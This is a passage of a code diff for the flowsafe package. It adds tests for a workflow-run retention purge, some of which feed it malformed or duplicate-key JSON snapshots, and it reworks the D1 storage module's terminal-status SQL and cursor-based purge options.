+      const ordinary = JSON.stringify({ ...snapshot, requestContext: context });
+      const replacements: Record<string, [string, string]> = {
+        status: [
+          '"status":"cancelled"',
+          '"status":"cancelled","status":"running"',
+        ],
+        'escaped status': [
+          '"status":"cancelled"',
+          '"status":"cancelled","sta\\u0074us":"running"',
+        ],
+        requestContext: [
+          `"requestContext":${JSON.stringify(context)}`,
+          `"requestContext":${JSON.stringify(context)},"requestContext":${JSON.stringify({ ...context, 'flowsafe.runLifecycle': incomplete })}`,
+        ],
+        'flowsafe.runLifecycle': [
+          `"flowsafe.runLifecycle":${JSON.stringify(complete)}`,
+          `"flowsafe.runLifecycle":${JSON.stringify(complete)},"flowsafe.runLifecycle":${JSON.stringify(incomplete)}`,
+        ],
+        terminal: [
+          `"terminal":${JSON.stringify(complete.terminal)}`,
+          `"terminal":${JSON.stringify(complete.terminal)},"terminal":${JSON.stringify(terminal)}`,
+        ],
+        cleanupCompletedAt: [
+          `"cleanupCompletedAt":${NOW - 8 * DAY_MS}`,
+          `"cleanupCompletedAt":${NOW - 8 * DAY_MS},"cleanupCompletedAt":null`,
+        ],
+      };
+      const replacement = replacements[path];
+      if (!replacement) throw new Error('missing duplicate-path fixture');
+      const ambiguous = ordinary.replace(...replacement);
+      expect(ambiguous).not.toBe(ordinary);
+      const decoded = JSON.parse(ambiguous);
+      if (path.endsWith('status')) expect(decoded.status).toBe('running');
+      else if (path === 'cleanupCompletedAt')
+        expect(() =>
+          parseRunLifecycle(decoded.requestContext['flowsafe.runLifecycle']),
+        ).toThrow();
+      else
+        expect(
+          parseRunLifecycle(decoded.requestContext['flowsafe.runLifecycle'])
+            ?.terminal,
+        ).not.toHaveProperty('cleanupCompletedAt');
+      replaceRetentionSnapshot(
+        sqlite,
+        boundary === 'selection' ? ambiguous : ordinary,
+      );
+      const deleteRun = vi.fn(async () => 0);
+      const intercepted = retentionIntercept(db, {
+        beforeBatch: () => {
+          if (boundary === 'held mutation')
+            replaceRetentionSnapshot(sqlite, ambiguous);
+        },
+      });
+      expect(
+        await purgeExpiredWorkflowRuns(intercepted, {
+          ...cycle.options(),
+          resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
+          artifactStore: { deleteRun },
+        }),
+      ).toBe(0);
+      expect(remainingRunIds(sqlite)).toEqual(['run']);
+      expect(reservationRows(sqlite)).toEqual([
+        expect.objectContaining({
+          key: 'key',
+          state: boundary === 'selection' ? 'terminal' : 'started',
+          updated_at: NOW - 8 * DAY_MS,
+        }),
+      ]);
+      expect(await resources.owner('run', 'run')).toEqual({
+        kind: 'human',
+        id: 'resource-owner',
+      });
+      expect(deleteRun).toHaveBeenCalledTimes(boundary === 'selection' ? 0 : 1);
+
+      replaceRetentionSnapshot(sqlite, ordinary);
+      expect(
+        await purgeExpiredWorkflowRuns(db, {
+          ...cycle.options(),
+          resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
+        }),
+      ).toBe(1);
+      expect(remainingRunIds(sqlite)).toEqual([]);
+      expect(await resources.owner('run', 'run')).toBeUndefined();
+      expect(reservationRows(sqlite)).toEqual(
+        boundary === 'selection'
+          ? []
+          : [expect.objectContaining({ state: 'terminal', updated_at: NOW })],
+      );
+    });
+  });
+
+  describe.each([
+    'snapshot page',
+    'orphan observation',
+    'absent orphan observation',
+  ] as const)('%s', (boundary) => {
+    it.each([
+      'missing',
+      'numeric',
+      'invalid JSON',
+    ])('rejects a malformed owned capsule projection: %s', async (kind) => {
+      const { sqlite, db, cycle } = retentionWorld();
+      if (boundary !== 'absent orphan observation')
+        retentionSnapshot(sqlite, 'run', {
+          token: boundary === 'orphan observation' ? 'S2' : 'S1',
+          status: boundary === 'orphan observation' ? 'suspended' : 'success',
+        });
+      retentionReservation(sqlite, 'key');
+      let interceptedReads = 0;
+      const intercepted = retentionIntercept(db, {
+        read: (sql, result) => {
+          const target =
+            boundary === 'snapshot page'
+              ? sql.includes('WITH bounds') && sql.includes(' AS eligible')
+              : sql.includes('SELECT c.key AS candidate');
+          if (!target) return result;
+          const row = (result as { results: Record<string, unknown>[] })
+            .results[0];
+          if (!row) throw new Error('missing capsule projection fixture');
+          interceptedReads++;
+          if (kind === 'missing') delete row.owned_1;
+          if (kind === 'numeric') row.owned_1 = 123;
+          if (kind === 'invalid JSON') row.owned_1 = '{';
+          return result;
+        },
+      });
+      await expect(
+        purgeExpiredWorkflowRuns(intercepted, cycle.options()),
+      ).rejects.toThrow();
+      expect(interceptedReads).toBe(1);
+      expect(remainingRunIds(sqlite)).toEqual(
+        boundary === 'absent orphan observation' ? [] : ['run'],
+      );
+      expect(reservationRows(sqlite)).toHaveLength(1);
+      expect(cycle.advances).toHaveLength(boundary === 'snapshot page' ? 0 : 1);
+      expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(
+        boundary === 'snapshot page' ? 1 : 0,
+      );
+      expect(reservationRows(sqlite)).toEqual([]);
+    });
+
+    it('advances past an explicit null owned capsule projection', async () => {
+      const { sqlite, db, cycle } = retentionWorld();
+      if (boundary !== 'absent orphan observation')
+        retentionSnapshot(sqlite, 'run', {
+          token: boundary === 'orphan observation' ? 'S2' : 'S1',
+          status: boundary === 'orphan observation' ? 'suspended' : 'success',
+        });
+      retentionReservation(sqlite, 'key');
+      let interceptedReads = 0;
+      const intercepted = retentionIntercept(db, {
+        read: (sql, result) => {
+          const target =
+            boundary === 'snapshot page'
+              ? sql.includes('WITH bounds') && sql.includes(' AS eligible')
+              : sql.includes('SELECT c.key AS candidate');
+          if (!target) return result;
+          const row = (result as { results: Record<string, unknown>[] })
+            .results[0];
+          if (!row) throw new Error('missing capsule projection fixture');
+          row.owned_1 = null;
+          interceptedReads++;
+          return result;
+        },
+      });
+      expect(await purgeExpiredWorkflowRuns(intercepted, cycle.options())).toBe(
+        0,
+      );
+      expect(interceptedReads).toBe(1);
+      expect(cycle.advances).toHaveLength(2);
+      expect(cycle.cursor?.snapshots).toBeUndefined();
+      expect(cycle.cursor?.reservations).toBeUndefined();
+      expect(remainingRunIds(sqlite)).toEqual(
+        boundary === 'absent orphan observation' ? [] : ['run'],
+      );
+      expect(reservationRows(sqlite)).toHaveLength(
+        boundary === 'absent orphan observation' ? 0 : 1,
+      );
+    });
+  });
+
+  describe.each([
+    'present',
+    'absent',
+  ] as const)('%s orphan snapshot', (presence) => {
+    it.each([
+      'workflow_name',
+      'run_id',
+    ])('rejects a mismatched orphan observation address: %s', async (field) => {
+      const { sqlite, db, cycle } = retentionWorld();
+      if (presence === 'present')
+        retentionSnapshot(sqlite, 'run', { token: 'S2', status: 'suspended' });
+      retentionReservation(sqlite, 'key');
+      let interceptedReads = 0;
+      const intercepted = retentionIntercept(db, {
+        read: (sql, result) => {
+          if (!sql.includes('SELECT c.key AS candidate')) return result;
+          const row = (result as { results: Record<string, unknown>[] })
+            .results[0];
+          if (!row) throw new Error('missing orphan observation fixture');
+          row[field] = 'other';
+          interceptedReads++;
+          return result;
+        },
+      });
+      await expect(
+        purgeExpiredWorkflowRuns(intercepted, cycle.options()),
+      ).rejects.toThrow();
+      expect(interceptedReads).toBe(1);
+      expect(cycle.advances).toHaveLength(1);
+      expect(reservationRows(sqlite)).toHaveLength(1);
+      expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(0);
+      expect(reservationRows(sqlite)).toEqual([]);
+    });
+  });
+
+  describe.each(['initial page', 'schema retry'] as const)('%s', (boundary) => {
+    it.each([
+      'missing',
+      'numeric',
+      'invalid JSON',
+      'array',
+      'incomplete object',
+      'null',
+    ])('handles a reservation projection with %s raw', async (kind) => {
+      const { sqlite, db, cycle } = retentionWorld();
+      retentionReservation(sqlite, 'key');
+      let batches = 0;
+      let interceptedReads = 0;
+      const intercepted = retentionIntercept(db, {
+        beforeBatch: () => {
+          if (boundary === 'schema retry' && batches++ === 0)
+            createSnapshotTable(sqlite, 'late_');
+        },
+        read: (sql, result) => {
+          const target =
+            boundary === 'initial page'
+              ? sql.includes('WITH bounds') && sql.includes(' AS raw')
+              : sql.startsWith('SELECT CASE') && sql.includes(' AS raw');
+          if (!target) return result;
+          const row = (result as { results: Record<string, unknown>[] })
+            .results[0];
+          if (!row) throw new Error('missing reservation projection fixture');
+          interceptedReads++;
+          if (kind === 'missing') delete row.raw;
+          if (kind === 'numeric') row.raw = 123;
+          if (kind === 'invalid JSON') row.raw = '{';
+          if (kind === 'array') row.raw = '[]';
+          if (kind === 'incomplete object') row.raw = '{}';
+          if (kind === 'null') row.raw = null;
+          return result;
+        },
+      });
+      const outcome = purgeExpiredWorkflowRuns(intercepted, cycle.options());
+      if (kind === 'null') {
+        await expect(outcome).resolves.toBe(0);
+        expect(cycle.advances).toHaveLength(2);
+        expect(cycle.cursor?.reservations).toBeUndefined();
+      } else {
+        await expect(outcome).rejects.toThrow();
+        expect(cycle.advances).toHaveLength(1);
+      }
+      expect(interceptedReads).toBe(1);
+      if (boundary === 'schema retry') expect(batches).toBeGreaterThan(0);
+      expect(reservationRows(sqlite)).toHaveLength(1);
+      expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(0);
+      expect(reservationRows(sqlite)).toEqual([]);
+    });
+  });
+
+  it.each([
+    'missing-rows',
+    'sparse-page',
+    'changed-high-water',
+    'missing-position',
+    'missing-capsule',
+    'wrong-eligibility',
+  ])('retains page progress on malformed read result %s', async (kind) => {
+    const { sqlite, db, cycle } = retentionWorld();
+    retentionSnapshot(sqlite, 'run');
+    const intercepted = retentionIntercept(db, {
+      read: (sql, result) => {
+        if (!sql.includes('WITH bounds')) return result;
+        const page = result as { results: Record<string, unknown>[] };
+        if (kind === 'missing-rows') return { results: undefined };
+        if (kind === 'sparse-page') return { results: new Array(1) };
+        const row = page.results[0];
+        if (!row) throw new Error('fixture page missing');
+        if (kind === 'changed-high-water') row.h = NaN;
+        if (kind === 'missing-position') delete row.rid;
+        if (kind === 'missing-capsule') delete row.owned_1;
+        if (kind === 'wrong-eligibility') row.eligible = '1';
+        return page;
+      },
+    });
+    await expect(
+      purgeExpiredWorkflowRuns(intercepted, cycle.options()),
+    ).rejects.toThrow();
+    expect(remainingRunIds(sqlite)).toEqual(['run']);
+    expect(cycle.advances).toEqual([]);
+  });
+
+  it.each([
+    'failed-envelope',
+    'missing-raw-field',
+    'multiple-rows',
+  ])('refuses malformed legacy read %s without advancing', async (kind) => {
+    const { sqlite, db, cycle } = retentionWorld();
+    seedRun(sqlite, {
+      runId: 'run',
+      status: 'success',
+      updatedAt: NOW - 8 * DAY_MS,
+    });
+    const intercepted = retentionIntercept(db, {
+      read: (sql, result) => {
+        if (
+          !sql.startsWith('SELECT workflow_name, run_id, resourceId, snapshot')
+        )
+          return result;
+        const page = result as {
+          results: Record<string, unknown>[];
+          success: boolean;
+        };
+        if (kind === 'failed-envelope') page.success = false;
+        if (kind === 'missing-raw-field' && page.results[0])
+          delete page.results[0].snapshot;
+        if (kind === 'multiple-rows' && page.results[0])
+          page.results.push(page.results[0]);
+        return page;
+      },
+    });
+    await expect(
+      purgeExpiredWorkflowRuns(intercepted, cycle.options()),
+    ).rejects.toThrow();
+    expect(remainingRunIds(sqlite)).toEqual(['run']);
+    expect(cycle.advances).toEqual([]);
+  });
+
+  it('retains the reservation phase position after an orphan response is lost', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    retentionReservation(sqlite, 'key');
+    const intercepted = retentionIntercept(db, {
+      afterBatch: () => {
+        throw new Error('orphan response lost');
+      },
+    });
+    await expect(
+      purgeExpiredWorkflowRuns(intercepted, cycle.options()),
+    ).rejects.toThrow('orphan response lost');
+    expect(cycle.advances).toHaveLength(1);
+    expect(reservationRows(sqlite)).toEqual([]);
+    await purgeExpiredWorkflowRuns(db, cycle.options());
+    expect(cycle.advances).toHaveLength(3);
+  });
+
+  it('does not retry an arbitrary missing-table message when its schema is unchanged', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    retentionSnapshot(sqlite, 'run');
+    const beforeBatch = vi.fn(() => {
+      throw new Error('no such table mastra_workflow_snapshot');
+    });
+    await expect(
+      purgeExpiredWorkflowRuns(
+        retentionIntercept(db, { beforeBatch }),
+        cycle.options(),
+      ),
+    ).rejects.toThrow('no such table');
+    expect(beforeBatch).toHaveBeenCalledTimes(1);
+    expect(remainingRunIds(sqlite)).toEqual(['run']);
+    expect(cycle.advances).toEqual([]);
+  });
+
+  it('preserves an agent capsule changed from boolean false to numeric zero', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    const provenance = {
+      version: 2,
+      startToken: 'S1',
+      startIdentity: {
+        owner: { kind: 'human', id: 'initiator' },
+        target: { kind: 'agent', id: 'agent', threadId: 'thread' },
+      },
+      agentStart: { threaded: false },
+    };
+    decodeRunStartIdentity(provenance);
+    retentionSnapshot(sqlite, 'run', { provenance });
+    retentionReservation(sqlite, 'key', {
+      state: 'started',
+      target_kind: 'agent',
+      target_id: 'agent',
+      thread_id: 'thread',
+    });
+    const intercepted = retentionIntercept(db, {
+      beforeBatch: () => {
+        replaceRetentionSnapshot(sqlite, {
+          status: 'success',
+          requestContext: {
+            'flowsafe.runProvenance': {
+              ...provenance,
+              agentStart: { threaded: 0 },
+            },
+          },
+        });
+      },
+    });
+    expect(await purgeExpiredWorkflowRuns(intercepted, cycle.options())).toBe(
+      0,
+    );
+    expect(reservationRows(sqlite)[0]?.state).toBe('started');
+    replaceRetentionSnapshot(sqlite, {
+      status: 'success',
+      requestContext: { 'flowsafe.runProvenance': provenance },
+    });
+    expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(1);
+    expect(reservationRows(sqlite)[0]?.state).toBe('terminal');
+  });
+
+  it('keeps same-S orphan identity conservative after an exact current address insertion', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    retentionReservation(sqlite, 'key');
+    const intercepted = retentionIntercept(db, {
+      beforeBatch: () =>
+        retentionSnapshot(sqlite, 'run', { status: 'suspended' }),
+    });
+    await purgeExpiredWorkflowRuns(intercepted, cycle.options());
+    expect(reservationRows(sqlite)).toHaveLength(1);
+    expect(remainingRunIds(sqlite)).toEqual(['run']);
+  });
+
+  it('uses BINARY owner membership under NOCASE resource IDs', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    await createResourceOwnershipSchema(db as never);
+    sqlite.exec(
+      `ALTER TABLE ${RESOURCE_OWNERSHIP_TABLE} RENAME TO original_owners`,
+    );
+    const schema = sqlite
+      .prepare("SELECT sql FROM sqlite_schema WHERE name='original_owners'")
+      .get() as { sql: string };
+    sqlite.exec(
+      schema.sql
+        .replace('"original_owners"', RESOURCE_OWNERSHIP_TABLE)
+        .replaceAll('TEXT', 'TEXT COLLATE NOCASE'),
+    );
+    const resources = new D1ResourceOwnershipStore(db as never);
+    await resources.claim('run', 'run', { kind: 'human', id: 'owner' });
+    retentionSnapshot(sqlite, 'run');
+    retentionSnapshot(sqlite, 'RUN', { status: 'suspended' });
+    expect(
+      await purgeExpiredWorkflowRuns(db, {
+        ...cycle.options(),
+        resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
+      }),
+    ).toBe(1);
+    expect(
+      sqlite
+        .prepare(`SELECT resource_id FROM ${RESOURCE_OWNERSHIP_TABLE}`)
+        .all(),
+    ).toEqual([]);
+    expect(remainingRunIds(sqlite)).toEqual(['RUN']);
+  });
+
+  it('preserves escaped token bytes when decoding yields the same value', async () => {
+    const { sqlite, db, cycle } = retentionWorld();
+    retentionSnapshot(sqlite, 'run');
+    const intercepted = retentionIntercept(db, {
+      beforeBatch: () => {
+        const snapshot = currentRetentionSnapshot(sqlite);
+        replaceRetentionSnapshot(
+          sqlite,
+          JSON.stringify(snapshot).replace('"S1"', '"\\u00531"'),
+        );
+      },
+    });
+    expect(await purgeExpiredWorkflowRuns(intercepted, cycle.options())).toBe(
+      0,
+    );
+    expect(remainingRunIds(sqlite)).toEqual(['run']);
+  });
+
+  it('honors zero TTL without deleting an exact-cutoff snapshot', async () => {
+    const { sqlite, db } = retentionWorld();
+    seedRun(sqlite, { runId: 'before', status: 'success', updatedAt: NOW - 1 });
+    seedRun(sqlite, { runId: 'at', status: 'success', updatedAt: NOW });
+    const cycle = retentionCycle({ ttlMs: 0 });
+    expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(1);
+    expect(remainingRunIds(sqlite)).toEqual(['at']);
+  });
+});
+
+it('retains a same-generation orphan key when its current token uses JSON escapes', async () => {
+  const { sqlite, db, cycle } = retentionWorld();
+  retentionSnapshot(sqlite, 'run', { status: 'suspended' });
+  retentionReservation(sqlite, 'key');
+  const snapshot = currentRetentionSnapshot(sqlite);
+  replaceRetentionSnapshot(
+    sqlite,
+    JSON.stringify(snapshot).replace('"S1"', '"\\u00531"'),
+  );
+  expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(0);
+  expect(reservationRows(sqlite)).toHaveLength(1);
+  expect(remainingRunIds(sqlite)).toEqual(['run']);
+});
diff --git a/packages/flowsafe/src/do-runner/d1-storage.ts b/packages/flowsafe/src/do-runner/d1-storage.ts
index d6d1703c..8cbf0852 100644
--- a/packages/flowsafe/src/do-runner/d1-storage.ts
+++ b/packages/flowsafe/src/do-runner/d1-storage.ts
@@ -11,11 +11,46 @@ import {
   MastraCompositeStore,
   type MastraStorageDomains,
 } from '@mastra/core/storage';
-
+import { missingTableReadsEmpty } from './cause-chain.js';
 import type { D1DatabaseBinding } from './cf-types.js';
+import {
+  normalizeD1RunExecutionIdentity,
+  normalizeStartExecutionIdentity,
+} from './execution-admission.js';
+import { FencedWorkflowsStorageD1 } from './fenced-workflows-d1.js';
+import {
+  notificationTimestampMillis,
+  notificationTimestampSql,
+} from './notification-predicate.js';
 import { isPathSafeId } from './path-safe-id.js';
+import {
+  decodeRunStartIdentity,
+  runExecutionIdentityFor,
+} from './run-provenance.js';
+import { RESOURCE_OWNER_TABLE } from './run-storage-tables.js';
 import { START_IDEMPOTENCY_TABLE } from './start-idempotency.js';
+import {
+  admissionReservationFromRow,
+  reservationFromRow,
+  reservationSchemaStage,
+  START_IDEMPOTENCY_COLUMNS,
+  type StartReservationSchemaStage,
+} from './start-reservation-contract.js';
 import { validateTablePrefix } from './table-prefix.js';
+import {
+  decodeRawWorkflowSnapshotResult,
+  prepareRawWorkflowSnapshotRead,
+  type RawWorkflowSnapshot,
+  type SnapshotDatabase,
+  type SnapshotStatement,
+  snapshotResultRows,
+} from './workflow-snapshot-row.js';
+
+export { RESOURCE_OWNER_TABLE } from './run-storage-tables.js';
+export type {
+  SnapshotDatabase,
+  SnapshotStatement,
+} from './workflow-snapshot-row.js';
 
 export interface D1StorageOptions {
   /** D1 binding from the Worker/DO environment. */
@@ -29,8 +64,9 @@ export interface D1StorageOptions {
    * notifications and thread state, which @mastra/cloudflare-d1 does not ship, so
    * they are flowsafe-owned D1 impls). Injected rather than imported so this
    * lower layer never depends on `signals/` (which imports do-runner) — build
-   * them with `createSignalStorageDomains()` and pass them here. Absent ⇒ the
-   * bare D1Store, byte-identical to before this seam existed.
+   * them with `createSignalStorageDomains()` and pass them here. The default
+   * workflow domain supports explicit initial-admission scopes; false/custom
+   * workflow overrides retain precedence.
    */
   domains?: MastraStorageDomains;
 }
@@ -38,42 +74,64 @@ export interface D1StorageOptions {
 export function createD1Storage(
   options: D1StorageOptions,
 ): MastraCompositeStore {
-  const tablePrefix = validateTablePrefix(options.tablePrefix);
+  const {
+    binding,
+    id: suppliedId,
+    tablePrefix: suppliedPrefix,
+    domains: suppliedDomains,
+  } = options;
+  const domainSource = suppliedDomains ?? {};
+  const capturedDomains = {
+    workflows: domainSource.workflows,
+    scores: domainSource.scores,
+    memory: domainSource.memory,
+    channels: domainSource.channels,
+    notifications: domainSource.notifications,
+    observability: domainSource.observability,
+    agents: domainSource.agents,
+    datasets: domainSource.datasets,
+    experiments: domainSource.experiments,
+    promptBlocks: domainSource.promptBlocks,
+    scorerDefinitions: domainSource.scorerDefinitions,
+    mcpClients: domainSource.mcpClients,
+    mcpServers: domainSource.mcpServers,
+    workspaces: domainSource.workspaces,
+    skills: domainSource.skills,
+    favorites: domainSource.favorites,
+    blobs: domainSource.blobs,
+    backgroundTasks: domainSource.backgroundTasks,
+    schedules: domainSource.schedules,
+    harness: domainSource.harness,
+    toolProviderConnections: domainSource.toolProviderConnections,
+    threadState: domainSource.threadState,
+  } satisfies Record<keyof MastraStorageDomains, unknown>;
+  const { workflows: suppliedWorkflows, ...otherDomains } = capturedDomains;
+  const id = suppliedId ?? 'flowsafe';
+  const tablePrefix = validateTablePrefix(suppliedPrefix);
+  const domainConfig = {
+    binding: binding as unknown as D1Database,
+    ...(tablePrefix === undefined ? {} : { tablePrefix }),
+  };
   const d1 = new D1Store({
-    id: options.id ?? 'flowsafe',
+    id,
     // @mastra/cloudflare-d1's own D1Store signature wants the real
     // D1Database; D1DatabaseBinding is the structural subset this package
     // exposes instead, so consumers of its shipped types don't need
     // @cloudflare/workers-types installed.
-    binding: options.binding as unknown as D1Database,
-    ...(tablePrefix !== undefined ? { tablePrefix } : {}),
+    ...domainConfig,
   });
-  // No extra domains ⇒ return the D1Store itself (it IS a MastraCompositeStore),
-  // preserving byte-identical behavior for every host that does not opt into
-  // signals. With domains, compose them OVER d1 as the default: its own init()
-  // (all adapter tables, DDL ordering, coalesced callers) runs first via the
-  // parentDefault path, THEN each override domain's init() — the composite never
-  // double-inits a parent's domain (validated: chunk #runInit).
-  if (!options.domains) return d1;
+  const workflows =
+    suppliedWorkflows === undefined
+      ? new FencedWorkflowsStorageD1(domainConfig)
+      : suppliedWorkflows;
   return new MastraCompositeStore({
-    id: options.id ?? 'flowsafe',
+    id,
     default: d1,
-    domains: options.domains,
+    domains: { ...otherDomains, workflows },
   });
 }
 
-/**
- * Mastra workflow terminals plus FlowSafe's lifecycle-owned terminals.
- * Deleting a live run (running/suspended/waiting/pending/paused) would kill a
- * pending approval, so only these are ever purged.
- *
- * Exported because retention and the drain inventory must agree on the word
- * "terminal" to the letter. The purge deletes what this set matches; the
- * inventory counts what it does NOT, and a run that is terminal to one and live
- * to the other is either a row the purge reaps while the inventory still calls
- * it work, or — worse — a run the inventory declares finished while it is still
- * executing, which is exactly the reading a migration would act on.
- */
+/** Shared with the drain inventory so cleanup and liveness use the same vocabulary. */
 export const RUN_TERMINAL_STATUSES = [
   'success',
   'failed',
@@ -85,29 +143,25 @@ export const RUN_TERMINAL_STATUSES = [
   'timed_out',
 ] as const;
 
-/**
- * The SQL that decides one snapshot row is TERMINAL, with `?` for each entry of
- * RUN_TERMINAL_STATUSES in order.
- *
- * A shared FRAGMENT rather than a shared list because the rule is not "the
- * status is in the set": a run that reached 'cancelled' or 'timed_out' is
- * terminal only once its lifecycle cleanup stamped `cleanupCompletedAt`, and
- * before that it is still executing compensation. Two hand-written copies of
- * that carve-out are two chances for one of them to answer "finished" for a run
- * that is mid-cleanup — the retention purge would delete a live run's snapshot,
- * and the drain inventory would report a deployment empty while it still runs
- * work. The caller supplies the `json_valid` guard, because it decides which
- * way an unclassifiable row should fail.
- */
-export const RUN_TERMINAL_SNAPSHOT_SQL = `json_extract(snapshot, '$.status') IN (${RUN_TERMINAL_STATUSES.map(
-  () => '?',
-).join(', ')})
+/** Duplicate keys can disagree between SQLite and JSON.parse on terminal eligibility. */
+export const RUN_TERMINAL_SNAPSHOT_SQL = `json_type(snapshot, '$') = 'object'
+             AND (SELECT count(*) FROM json_each(snapshot) WHERE key COLLATE BINARY = 'status') = 1
+             AND (SELECT count(*) FROM json_each(snapshot) WHERE key COLLATE BINARY = 'requestContext') <= 1
+             AND (SELECT count(*) FROM json_each(snapshot, '$.requestContext') WHERE key COLLATE BINARY = 'flowsafe.runLifecycle') <= 1
+             AND (SELECT count(*) FROM json_each(snapshot, '$.requestContext."flowsafe.runLifecycle"') WHERE key COLLATE BINARY = 'terminal') <= 1
+             AND (SELECT count(*) FROM json_each(snapshot, '$.requestContext."flowsafe.runLifecycle".terminal') WHERE key COLLATE BINARY = 'cleanupCompletedAt') <= 1
+             AND json_extract(snapshot, '$.status') IN (${RUN_TERMINAL_STATUSES.map(
+               () => '?',
+             ).join(', ')})
              AND (
                json_extract(snapshot, '$.status') NOT IN ('cancelled', 'timed_out')
-               OR json_extract(
-                 snapshot,
-                 '$.requestContext."flowsafe.runLifecycle".terminal.cleanupCompletedAt'
-               ) IS NOT NULL
+               OR (
+                 json_type(snapshot, '$.requestContext."flowsafe.runLifecycle".terminal.cleanupCompletedAt') IN ('integer', 'real')
+                 AND json_extract(snapshot, '$.requestContext."flowsafe.runLifecycle".terminal.cleanupCompletedAt') BETWEEN 0 AND 9007199254740991
+                 AND json_extract(snapshot, '$.requestContext."flowsafe.runLifecycle".terminal.cleanupCompletedAt') = CAST(
+                   json_extract(snapshot, '$.requestContext."flowsafe.runLifecycle".terminal.cleanupCompletedAt') AS INTEGER
+                 )
+               )
              )`;
 
 const DEADLINE_LIVE_STATUSES = [
@@ -303,530 +357,1269 @@ export async function sweepExpiredRunDeadlines(
   return processed;
 }
 
-/**
- * Minimal structural D1 surface the purge uses — same posture as the
- * approval store: tests back it with node:sqlite, Workers pass env.DB.
- */
-export interface SnapshotDatabase {
-  prepare(query: string): SnapshotStatement;
-  /** D1 transactional batch, required when owner lifecycle cleanup is wired. */
-  batch?(statements: SnapshotStatement[]): Promise<unknown[]>;
+/** Structural: R2ArtifactStore.deleteRun, without importing the artifacts module. */
+export interface RunArtifactPurger {
+  deleteRun(workflowId: string, runId: string): Promise<number>;
 }
 
-export interface SnapshotStatement {
-  bind(...values: unknown[]): SnapshotStatement;
-  run(): Promise<unknown>;
-  all<T = unknown>(): Promise<{ results: T[] }>;
+export interface RunRetentionScanPosition {
+  readonly afterRowId: number;
+  readonly highWaterRowId: number;
 }
 
-/** Structural: R2ArtifactStore.deleteRun, without importing the artifacts module. */
-export interface RunArtifactPurger {
-  deleteRun(workflowId: string, runId: string): Promise<number>;
+export interface RunRetentionCursor {
+  readonly version: 1;
+  readonly tablePrefix: string;
+  readonly startIdempotencyTable?: string;
+  readonly snapshots?: RunRetentionScanPosition;
+  readonly reservations?: RunRetentionScanPosition;
 }
 
 export interface PurgeExpiredRunsOptions {
-  /** workflowOutputTTL: runs untouched for longer than this are eligible. */
+  /** Terminal snapshot retention measured from updatedAt. */
   ttlMs: number;
-  /** Must satisfy and match createD1Storage's max-39 tablePrefix contract. */
   tablePrefix?: string;
-  /**
-   * When set, each purged run's R2 artifacts are deleted WITH its snapshot
-   * row. Hosts that store artifacts must wire this: the snapshot row is the
-   * only enumerable record of a run's artifact keys (R2 keys lead with
-   * workflowId — there is no run-level listing without it), so a retention
-   * purge without this pairing strands the run's artifacts until the
-   * deployment itself is decommissioned.
-   */
+  /** Artifact deletion precedes the guarded snapshot transaction. */
   artifactStore?: RunArtifactPurger;
-  /**
-   * Deployment-local resource-owner table. When supplied, each snapshot delete
-   * and its run-owner release commit in the same D1 transaction. The composed
-   * Flowsafe Worker always supplies this; lower-level callers without the
-   * resource registry omit it.
-   */
   resourceOwnerTable?: string;
-  /**
-   * The start-reservation table (`flowsafe_start_idempotency`). When supplied,
-   * this purge is also what keeps idempotency keys finite.
-   *
-   * Wired the same way `resourceOwnerTable` is — by name, from the composed
-   * Flowsafe Worker — for the same reason: this module owns the SQL of run
-   * retention, and a reservation must be reaped in the same transaction that
-   * removes the run it points at, never by a second sweep that could interleave
-   * with it.
-   */
   startIdempotencyTable?: string;
-  /**
-   * How long a spent idempotency key stays answerable after its run settled —
-   * the KEY-VALIDITY HORIZON, and the only tuning decision this feature has.
-   *
-   * Until it elapses, a retry of a completed run is told ALREADY_SETTLED. After
-   * it, the reservation is gone and the same key reads as brand new, so a retry
-   * would START A SECOND RUN. That is the whole reason this exists as its own
-   * knob rather than riding `ttlMs`: a host whose callers retry for longer than
-   * its run retention (an overnight batch re-run, a queue with a multi-day
-   * redrive) needs keys to outlive summaries, and a host whose keys are minted
-   * per HTTP request does not.
-   *
-   * DEFAULTS TO `ttlMs`, and is floored at it: a reservation shorter-lived than
-   * the snapshot it guards would be deleted while its run is still readable,
-   * and the very next retry would mint a fresh run alongside the live one — the
-   * exact double-execution this feature exists to prevent. A caller asking for
-   * less gets `ttlMs`, silently, because there is no configuration in which the
-   * smaller number is what anybody meant.
-   */
+  /** Defaults to ttlMs and cannot shorten the snapshot retention horizon. */
   startIdempotencyTtlMs?: number;
-  /**
-   * Runs processed per call. Artifact-paired path: default 100 — the purge duty's
-   * subrequest-budget guard, same batching as any batched reaper. Each
-   * run costs ~2+N subrequests (R2 list, per-artifact deletes, its row's
-   * DELETE), so an UNBOUNDED first backlog would blow the Workers
-   * per-invocation cap mid-pass and log an error every firing until it
-   * drained; size this to your plan's budget instead. Row-only path:
-   * default 1000 — one LIMIT-batched DELETE statement per firing, bounding
-   * D1 per-query cost instead of subrequests. Both paths use the shrinking
-   * eligible set as the cursor — the next firing resumes at the survivors.
-   */
+  /** Physical rows scanned per phase, capped at 90. */
   limit?: number;
-  /** Clock override for tests. */
   now?: () => number;
+  cursor?: RunRetentionCursor;
+  advanceCursor: (next: RunRetentionCursor) => Promise<void>;
 }
 
-/**
- * The MASTRA-OWNED tables `purgeExpiredWorkflowRuns` deletes from under the run
- * TTL — the production anchor the schema guard cross-checks every `run-ttl`
- * retention declaration against. The guard reads THIS, not a literal copied
- * into the test, so a purge that changes what it targets and a guard that still
- * blesses the old set cannot drift apart silently.
- *
- * Mastra-owned specifically: the purge ALSO deletes from flowsafe's own
- * registries when a caller wires them, and those live in
- * RUN_TTL_FLOWSAFE_PURGE_TABLES below rather than here — see its note for why
- * the two sets are not one.
- */
 export const RUN_TTL_PURGE_TABLES: readonly string[] = [
   'mastra_workflow_snapshot',
 ];
 
-/**
